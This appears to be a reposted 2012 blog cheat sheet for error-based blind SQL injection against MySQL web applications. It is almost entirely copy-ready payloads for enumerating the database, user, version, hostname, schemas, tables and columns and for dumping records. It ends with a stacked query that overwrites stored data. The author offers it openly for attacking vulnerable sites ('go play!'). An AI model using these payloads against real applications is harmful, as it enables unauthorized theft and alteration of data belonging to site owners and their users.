mysql (error based) blind sqli cheat sheet_2012到了!!!
mysql (error based) blind sqli cheat sheet_2012到了!!!
2012年01月10日
Quick & Dirty MySQL (Error Based) Blind SQLi Cheat Sheet
So, you have a web application vulnerable to Blind SQL Injection (test the param with single quote ' ) and you need dirty & quick cheats to dig deeper.
Note: The data is fetched using a Hex() and a type casting with the cast() to make the query reliable and avoid bad characters and format strings issue (for example 0x00 as the last byte of every data fetched.) These payloads heavily rely on the information_schema database. So if you don't get the desired result, it just means that the remote database server doesn't have it.
These payloads are only crafted for Error-based MySQL Blind SQL Injections using String type parameters. If you know what I'm talking about, go play!
No more crap, straight to the point.
1. To test blind injection
Code:
' and 'x'='x
2. To select the current database (Output will be in Hexadecimal, decode to ASCII
Code:
' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
3. To find the current user
Code:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
4. To find MySQL Version
Code:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
5. Find current database
Code:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
6. To find the system user
Code:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
7. To find the hostname
Code:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
8. To find the installation directory
Code:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
9. To find the DB User
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
10. To find the databases
Note: Keep incrementing the n, e.g. : n, n+1, n+2, ... till you keep getting a response.
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
11. To count the number of tables in the selected database
Note: Note this count as n
Replace colored strings with appropriate value
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
12. To get the table names in the selected database
Note: m-n implies execute this query starting from m, m+1…n-1
Replace colored strings with appropriate value
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
13. To get number of columns in the selected table name
Note: Note this count as n
Replace colored strings with appropriate value
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
14. To get column names of a selected table name
Note: m-n implies execute this query starting from m, m+1…n-1
Replace colored strings with appropriate value
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
15. To count the number of records in a selected column
Note: Remember this count as n
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
16. To fetch records from a selected column
Note: m-n implies execute this query starting from m, m+1…n-1
Replace colored strings with appropriate value
Code:
1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT m-n,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
17. Update a record in the selected column
Code:
1';UPDATE table_name SET column_name=0xhex_code_of_new_record_value WHERE column_name=0xhex_code_of_old_record_value--
I will update the cheat sheets for other database servers too in separate posts. Keep watching. Till then take care and bye.
